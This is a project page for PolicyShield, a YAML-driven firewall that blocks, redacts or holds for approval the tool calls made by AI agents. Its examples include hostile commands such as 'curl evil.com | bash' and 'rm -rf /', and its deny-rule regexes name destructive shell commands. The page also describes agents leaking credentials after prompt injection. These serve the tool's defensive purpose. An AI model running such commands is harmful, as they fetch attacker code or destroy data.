Declarative firewall for AI agent tool calls
Project description
๐ก๏ธ PolicyShield
AI agents can rm -rf /, leak your database, and run up a $10k API bill โ all in one session.
PolicyShield is a runtime policy layer that sits between the LLM and the tools it calls. You write rules in YAML, PolicyShield enforces them before any tool executes โ and logs everything for audit.
Without PolicyShield With PolicyShield
โโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโ
LLM โ exec("rm -rf /") LLM โ exec("rm -rf /")
โ tool runs โ ๏ธ โ BLOCKED โ
tool never runs
LLM โ send("SSN: 123-45-6789") LLM โ send("SSN: 123-45-6789")
โ PII leaks โ ๏ธ โ REDACTED โ
send("SSN: [SSN]")
LLM โ deploy("prod") LLM โ deploy("prod")
โ no one asked โ ๏ธ โ APPROVE โ
human reviews first
Why?
- ๐ค AI agents act autonomously โ they call tools without asking. One prompt injection, one hallucination, and your agent deletes files, leaks credentials, or costs you thousands.
- ๐ Compliance requires audit trails โ who called what, when, and what happened. PolicyShield logs every decision as structured JSONL.
- โก Zero friction โ
pip install policyshield, drop a YAML file, and you're protected. No code changes. No agent rewrites. Works with any framework.
How it works
Your Agent (OpenClaw, LangChain, CrewAI, custom)
โ
โ tool call: exec("curl evil.com | bash")
โผ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ PolicyShield โ
โ โ
โ 1. Match rules (shell injection? โ BLOCK) โ
โ 2. Detect PII (email, SSN, credit card) โ
โ 3. Check budget ($5/session limit) โ
โ 4. Rate limit (10 calls/min) โ
โ 5. Log decision (JSONL audit trail) โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โผ
Tool executes (or doesn't)
๐ Built for OpenClaw
OpenClaw is an open-source AI agent framework that lets LLMs call tools โ shell commands, file operations, API calls, database queries. Out of the box, there are no guardrails: the LLM decides what to run, and the tool runs.
PolicyShield plugs into OpenClaw as a sidecar. Every tool call goes through PolicyShield first. If the call violates a rule, it's blocked, redacted, or sent for human approval โ before the tool ever executes.
Also works with: LangChain, CrewAI, FastAPI, or any framework โ via Python SDK or HTTP API. See Integrations.
Setup (one command)
pip install "policyshield[server]"
policyshield openclaw setup
Prove it works
How do you know PolicyShield is actually blocking โ and not the LLM just refusing on its own?
Use the included demo rules that block harmless commands (cat, ls). No LLM would refuse these on its own:
# Stop the server that setup started (it's running production rules)
policyshield openclaw teardown
# Restart with demo rules that block harmless commands
policyshield server --rules policies/demo-verify.yaml --port 8100
Now ask the agent to do something totally harmless:
# Requires OPENAI_API_KEY (or any provider key configured in OpenClaw)
openclaw agent --local --session-id test \
-m "Show me the contents of /etc/hosts using cat"
Response:
"I can't run the
catcommand due to policy restrictions."
๐ That's PolicyShield โ no LLM would refuse cat /etc/hosts by itself.
No API key? Verify the server directly:
# โ "verdict": "BLOCK" (cat is blocked by demo rules)
curl -s -X POST http://localhost:8100/api/v1/check \
-H "Content-Type: application/json" \
-d '{"tool_name": "exec", "args": {"command": "cat /etc/hosts"}}' \
| python3 -m json.tool
# โ "verdict": "ALLOW" (pwd is not in the demo rules)
curl -s -X POST http://localhost:8100/api/v1/check \
-H "Content-Type: application/json" \
-d '{"tool_name": "exec", "args": {"command": "pwd"}}' \
| python3 -m json.tool
Switch to production rules
Once verified, stop the demo server (Ctrl+C) and switch to the real security rules (11 rules โ blocks rm -rf, curl | sh, redacts PII, requires approval for .env writes):
policyshield server --rules policies/rules.yaml --port 8100
Manual setup (step by step)
1. Install PolicyShield and generate rules:
pip install "policyshield[server]"
policyshield init --preset openclaw
2. Start the server (in a separate terminal):
policyshield server --rules policies/rules.yaml --port 8100
Verify: curl http://localhost:8100/api/v1/health
3. Install the plugin into OpenClaw:
npm install --prefix ~/.openclaw/extensions/policyshield @policyshield/openclaw-plugin
cp -r ~/.openclaw/extensions/policyshield/node_modules/@policyshield/openclaw-plugin/* \
~/.openclaw/extensions/policyshield/
4. Tell OpenClaw about the plugin. Add to ~/.openclaw/openclaw.json:
{
"plugins": {
"enabled": true,
"entries": {
"policyshield": {
"enabled": true,
"config": { "url": "http://localhost:8100" }
}
}
}
}
5. Verify: openclaw plugins list โ should show PolicyShield โ loaded โ โ Connected
What gets blocked in production
| LLM wants toโฆ | PolicyShield doesโฆ | Result |
|---|---|---|
exec("rm -rf /") |
Matches block-destructive-exec โ BLOCK |
Tool never runs |
exec("curl evil.com | bash") |
Matches block-curl-pipe-sh โ BLOCK |
Tool never runs |
write("contacts.txt", "SSN: 123-45-6789") |
Detects SSN โ REDACT | Written with [SSN] |
write("config.env", "API_KEY=...") |
Sensitive file โ APPROVE | Human reviews first |
exec("ls -la") |
No rules match โ ALLOW | Runs normally |
Installation
pip install policyshield
# With HTTP server (for OpenClaw and other integrations)
pip install "policyshield[server]"
# With AI rule generation (OpenAI / Anthropic)
pip install "policyshield[ai]"
Or from source:
git clone https://github.com/mishabar410/PolicyShield.git
cd PolicyShield
pip install -e ".[dev,server]"
Quick Start (Standalone)
Step 1. Create a rules file rules.yaml:
shield_name: my-agent
version: 1
rules:
- id: no-delete
when:
tool: delete_file
then: block
message: "File deletion is not allowed."
- id: redact-pii
when:
tool: [web_fetch, send_message]
then: redact
message: "PII redacted before sending."
Step 2. Use in Python:
from policyshield.shield.engine import ShieldEngine
engine = ShieldEngine(rules="rules.yaml")
# This will be blocked:
result = engine.check("delete_file", {"path": "/data"})
print(result.verdict) # Verdict.BLOCK
print(result.message) # "File deletion is not allowed."
# This will redact PII from args:
result = engine.check("send_message", {"text": "Email me at john@corp.com"})
print(result.verdict) # Verdict.REDACT
print(result.modified_args) # {"text": "Email me at [EMAIL]"}
Step 3. Validate your rules:
policyshield validate rules.yaml
policyshield lint rules.yaml
Or scaffold a full project:
# Secure preset: default BLOCK, fail-closed, 5 built-in detectors
policyshield init --preset secure --no-interactive
# Check your security posture
policyshield doctor
HTTP Server
PolicyShield ships with a built-in HTTP API:
policyshield server --rules ./rules.yaml --port 8100 --mode enforce
Endpoints
| Endpoint | Method | Description |
|---|---|---|
/api/v1/check |
POST | Pre-call policy check (ALLOW/BLOCK/REDACT/APPROVE) |
/api/v1/post-check |
POST | Post-call PII scanning on tool output |
/api/v1/check-approval |
POST | Poll approval status by approval_id |
/api/v1/respond-approval |
POST | Approve or deny a pending request |
/api/v1/pending-approvals |
GET | List all pending approval requests |
/api/v1/health |
GET | Health check with rules count and mode |
/api/v1/status |
GET | Server status (running, killed, mode, version) |
/api/v1/constraints |
GET | Human-readable policy summary for LLM context |
/api/v1/reload |
POST | Hot-reload rules from disk |
/api/v1/kill |
POST | Emergency kill switch โ block ALL tool calls |
/api/v1/resume |
POST | Deactivate kill switch โ resume normal operation |
/healthz ยท /api/v1/livez |
GET | Liveness probe (K8s-ready) |
/readyz ยท /api/v1/readyz |
GET | Readiness probe (rules loaded, backend healthy) |
/metrics |
GET | Prometheus metrics (per-tool, PII, approvals) |
Docker
docker build -f Dockerfile.server -t policyshield-server .
docker run -p 8100:8100 -v ./rules.yaml:/app/rules.yaml policyshield-server
Rules DSL
rules:
# Block by tool name
- id: no-destructive-shell
when:
tool: exec
args_match:
command: { regex: "rm\\s+-rf|mkfs|dd\\s+if=" }
then: block
severity: critical
# Block multiple tools at once
- id: no-external-pii
when:
tool: [web_fetch, web_search, send_email]
then: redact
# Human approval required
- id: approve-file-delete
when:
tool: delete_file
then: approve
approval_strategy: per_rule
# Session-based conditions
- id: rate-limit-exec
when:
tool: exec
session:
tool_count.exec: { gt: 60 }
then: block
message: "exec rate limit exceeded"
# Chain rule: detect data exfiltration
- id: anti-exfiltration
when:
tool: send_email
chain:
- tool: read_database
within_seconds: 120
then: block
severity: critical
message: "Potential data exfiltration: read_database โ send_email"
# Rate limiting
rate_limits:
- tool: web_fetch
max_calls: 10
window_seconds: 60
per_session: true
# Custom PII patterns
pii_patterns:
- name: EMPLOYEE_ID
pattern: "EMP-\\d{6}"
Built-in PII detection: EMAIL, PHONE, CREDIT_CARD, SSN, IBAN, IP, PASSPORT, DOB + custom patterns.
Features
Core
| Category | What you get |
|---|---|
| YAML DSL | Declarative rules with regex, glob, exact match, session conditions |
| Verdicts | ALLOW ยท BLOCK ยท REDACT ยท APPROVE (human-in-the-loop) |
| PII Detection | EMAIL, PHONE, CREDIT_CARD, SSN, IBAN, IP, PASSPORT, DOB + custom patterns |
| Built-in Detectors | Path traversal, shell injection, SQL injection, SSRF, URL schemes โ zero-config |
| Kill Switch | policyshield kill / POST /api/v1/kill โ block ALL calls instantly |
| Chain Rules | Temporal conditions (when.chain) โ detect multi-step attack patterns |
| Rate Limiting | Per-tool, per-session, global, and adaptive (burst detection) rate limiting |
| Approval Flow | InMemory, Telegram, and Slack backends with circuit breaker and health checks |
| Hot Reload | File-watcher auto-reloads rules on change |
| Trace & Audit | JSONL log, search, stats, violations, CSV/HTML export, rotation & retention |
| Idempotency | X-Idempotency-Key header support for safe retries |
SDK & Integrations
| Category | What you get |
|---|---|
| Python SDK | PolicyShieldClient + AsyncPolicyShieldClient โ typed check, kill, resume, reload |
| TypeScript SDK | PolicyShieldClient in @policyshield/openclaw-plugin โ check, kill, resume, waitForApproval |
@shield() decorator |
Wrap any function with policy enforcement (sync + async) |
| MCP Proxy | Transparent proxy for MCP tool calls through PolicyShield |
| HTTP Server | FastAPI server with TLS, API rate limiting, OpenAPI tags, and 13 REST endpoints |
| OpenClaw Plugin | Native plugin with before/after hooks and policy injection |
| LangChain / CrewAI | Adapters for LangChain BaseTool and CrewAI tools |
| Docker | Container-ready with Dockerfile.server and docker-compose |
Developer Experience
| Category | What you get |
|---|---|
| Quickstart Wizard | policyshield quickstart โ interactive setup with preset selection |
| Doctor | policyshield doctor โ 10-check health scan with A-F security grading |
| Dry-Run CLI | policyshield check --tool <name> --rules rules.yaml โ one-shot check |
| Auto-Rules | policyshield generate-rules --from-openclaw โ zero-config rule generation |
| Role Presets | coding-agent, data-analyst, customer-support โ ready-made rule sets |
| Rule Testing | YAML test cases for policies (policyshield test) |
| Rule Linter | Static analysis: 7 checks + multi-file validation + dead rule detection |
| Replay & Simulation | Re-run JSONL traces against new rules (policyshield replay) |
| ENV Config | Full 12-factor: 31 POLICYSHIELD_* env vars for all settings |
Advanced features (shadow mode, canary, dashboards, OTel, etc.)
| Category | What you get |
|---|---|
| Rule Composition | include: / extends: for rule inheritance and modularity |
| Plugin System | Extensible detector API โ register custom detectors without forking |
| Budget Caps | USD-based per-session and per-hour cost limits |
| Shadow Mode | Test new rules in production (dual-path evaluation, no blocking) |
| Canary Deployments | Roll out rules to N% of sessions, auto-promote after duration |
| Dynamic Rules | Fetch rules from HTTP/HTTPS with periodic refresh |
| OpenTelemetry | OTLP export to Jaeger/Grafana (spans + metrics) |
| AI Rule Writer | Generate YAML rules from natural language (policyshield generate) |
| Cost Estimator | Token/dollar cost estimation per tool call and model |
| Alert Engine | 5 condition types with Console, Webhook, Slack, Telegram backends |
| Dashboard | FastAPI REST API + WebSocket live stream + dark-themed SPA |
| Prometheus | /metrics endpoint with per-tool, PII, and approval labels + Grafana preset |
| Compliance Reports | HTML reports: verdicts, violations, PII stats, rule coverage |
| Incident Timeline | Chronological session timeline for post-mortems |
| Config Migration | policyshield migrate โ auto-migrate YAML between versions |
| Retry/Backoff | Generic async retry with exponential backoff for approval notifications |
Python SDK
from policyshield.sdk.client import PolicyShieldClient
# Connect to PolicyShield server
with PolicyShieldClient("http://localhost:8100") as client:
result = client.check("exec_command", {"cmd": "rm -rf /"})
print(result.verdict) # BLOCK
print(result.message)
# Admin operations
client.kill("Incident response")
client.resume()
client.reload()
# Post-call PII scan
pii = client.post_check("send_email", "SSN: 123-45-6789")
@shield() Decorator
from policyshield.decorators import shield
from policyshield.shield.engine import ShieldEngine
engine = ShieldEngine(rules="rules.yaml")
@shield(engine, tool_name="delete_file")
def delete_file(path: str):
os.remove(path) # โ only runs if PolicyShield allows
@shield(engine, tool_name="exec_command", on_block="return_none")
async def exec_cmd(cmd: str):
return subprocess.run(cmd) # โ returns None if blocked
Async SDK
from policyshield.sdk.client import AsyncPolicyShieldClient
async with AsyncPolicyShieldClient("http://localhost:8100") as client:
result = await client.check("send_email", {"to": "admin@corp.com"})
Other Integrations
# LangChain
from policyshield.integrations.langchain import PolicyShieldTool, shield_all_tools
safe_tools = shield_all_tools([tool1, tool2], engine)
# CrewAI
from policyshield.integrations.crewai import shield_crewai_tools
safe_tools = shield_crewai_tools([tool1, tool2], engine)
CLI
# Setup & Init
policyshield quickstart # Interactive setup wizard
policyshield init --preset secure # Initialize with preset rules
policyshield doctor # 10-check health scan (A-F grading)
# Rules
policyshield validate ./policies/ # Validate rules
policyshield lint ./policies/rules.yaml # Static analysis (7 checks)
policyshield test ./policies/ # Run YAML test cases
# Dry-run check (no server needed)
policyshield check --tool exec_command --rules rules.yaml
policyshield check --tool send_email --rules rules.yaml --json
# Server
policyshield server --rules ./rules.yaml # Start HTTP server
policyshield server --rules ./rules.yaml --port 8100 --mode audit
policyshield server --rules ./rules.yaml --tls-cert cert.pem --tls-key key.pem
# Traces & Observability
policyshield trace show ./traces/trace.jsonl
policyshield trace violations ./traces/trace.jsonl
policyshield trace stats --dir ./traces/ --format json
policyshield trace search --tool exec --verdict BLOCK
policyshield trace cost --dir ./traces/ --model gpt-4o
policyshield trace export ./traces/trace.jsonl -f html
policyshield trace dashboard --port 8000 --prometheus
# Replay & Simulation
policyshield replay ./traces/trace.jsonl --rules ./new-rules.yaml --changed-only
policyshield simulate --rule new_rule.yaml --tool exec --args '{"cmd":"ls"}'
# Rule Generation
policyshield generate --template --tools delete_file send_email -o rules.yaml
policyshield generate "Block all file deletions" # AI (requires OPENAI_API_KEY)
policyshield generate-rules --from-openclaw --url http://localhost:3000
# Reports
policyshield report --traces ./traces/ --format html
policyshield incident session_abc123 --format html
# Operations
policyshield kill --port 8100 --reason "Incident response"
policyshield resume --port 8100
policyshield migrate --from 0.11 --to 1.0 rules.yaml
# OpenClaw integration
policyshield openclaw setup
policyshield openclaw teardown
policyshield openclaw status
Docker
# Run the HTTP server
docker build -f Dockerfile.server -t policyshield-server .
docker run -p 8100:8100 -v ./rules:/app/rules policyshield-server
# Validate rules
docker compose run policyshield validate policies/
# Lint rules
docker compose run lint
# Run tests
docker compose run test
Examples
| Example | Description |
|---|---|
langchain_demo.py |
LangChain tool wrapping |
async_demo.py |
Async engine usage |
standalone_check.py |
Standalone check without server |
fastapi_middleware.py |
FastAPI middleware integration |
openclaw_rules.yaml |
OpenClaw preset rules (11 rules) |
chain_rules.yaml |
Chain rule examples (anti-exfiltration, retry storm) |
policies/ |
Production-ready rule sets (security, compliance, full) |
docker_compose/ |
Docker Compose deployment example |
Role Presets
| Preset | Default | Description |
|---|---|---|
strict |
BLOCK | Maximum restriction โ allow only explicitly permitted tools |
permissive |
ALLOW | Minimum restriction โ block only dangerous tools |
minimal |
ALLOW | Bare minimum rules |
coding-agent |
BLOCK | Blocks exec/delete, approves writes, allows reads |
data-analyst |
BLOCK | Allows SELECT SQL, blocks network/exec, approves writes |
customer-support |
BLOCK | CRM reads allowed, account changes need approval |
Community Rule Packs
| Pack | Rules | Focus |
|---|---|---|
gdpr.yaml |
8 | EU data protection, cross-border transfers |
hipaa.yaml |
9 | PHI protection, patient record safety |
pci-dss.yaml |
9 | Cardholder data, payment gateway enforcement |
How does PolicyShield compare to alternatives? See the Comparison page.
Benchmarks
Measured on commodity hardware (Apple M-series, Python 3.13). Target: <5ms sync, <10ms async.
| Operation | p50 | p99 | Target |
|---|---|---|---|
| Sync check (ALLOW) | 0.01ms | 0.01ms | <5ms โ |
| Sync check (BLOCK) | 0.01ms | 0.01ms | <5ms โ |
| Async check | 0.05ms | 0.10ms | <10ms โ |
Run benchmarks yourself:
pytest tests/test_benchmark.py -m benchmark -v -s
Troubleshooting
| Problem | Solution |
|---|---|
Connection refused on plugin install |
Start PolicyShield server first: policyshield server --rules rules.yaml |
| Server starts but plugin gets timeouts | Check port matches โ default is 8100. Configure in OpenClaw: openclaw config set plugins.policyshield.url http://localhost:8100 |
| Rules not reloading after edit | Hot-reload watches the file passed to --rules. Or call POST /api/v1/reload manually |
policyshield: command not found |
Install with server extra: pip install "policyshield[server]" |
| PII not detected in non-English text | Current PII detector is regex-based (L0). RU patterns (INN, SNILS, passport) are supported. NER-based L1 detection is on the roadmap |
For OpenClaw-specific issues, see the full integration guide. For upgrading between versions, see the Compatibility & Migration Guide.
Development
git clone https://github.com/mishabar410/PolicyShield.git
cd PolicyShield
python -m venv .venv && source .venv/bin/activate
pip install -e ".[dev,server]"
pytest tests/ -v # 1226+ tests
ruff check policyshield/ tests/ # Lint
ruff format --check policyshield/ tests/ # Format check
mypy policyshield/ # Type checking
๐ Documentation: mishabar410.github.io/PolicyShield
License
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file policyshield-0.13.0.tar.gz.
File metadata
- Download URL: policyshield-0.13.0.tar.gz
- Upload date:
- Size: 1.6 MB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.13.11
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
854ed7bf737040f0f40d400761a4194ffc056bab6b482891b02c347387fe6cf2
|
|
| MD5 |
1c2dba4a2f15e34cc3a4acddcea80b3b
|
|
| BLAKE2b-256 |
d491798af9fb521cd3b92219e763fb33c694ec56832172a3fd52c05165932df4
|
File details
Details for the file policyshield-0.13.0-py3-none-any.whl.
File metadata
- Download URL: policyshield-0.13.0-py3-none-any.whl
- Upload date:
- Size: 179.8 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.13.11
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
465580d8382704acf2fb1f2eada48916d6f93b49d496b0922d009b5af90d7435
|
|
| MD5 |
358ac00d32cf04a19f76aec9fd055cd8
|
|
| BLAKE2b-256 |
b4f0ff1cc2353e92afcf8fd9f6fda5815783f8bf011bc2bafc83cd20a59510b7
|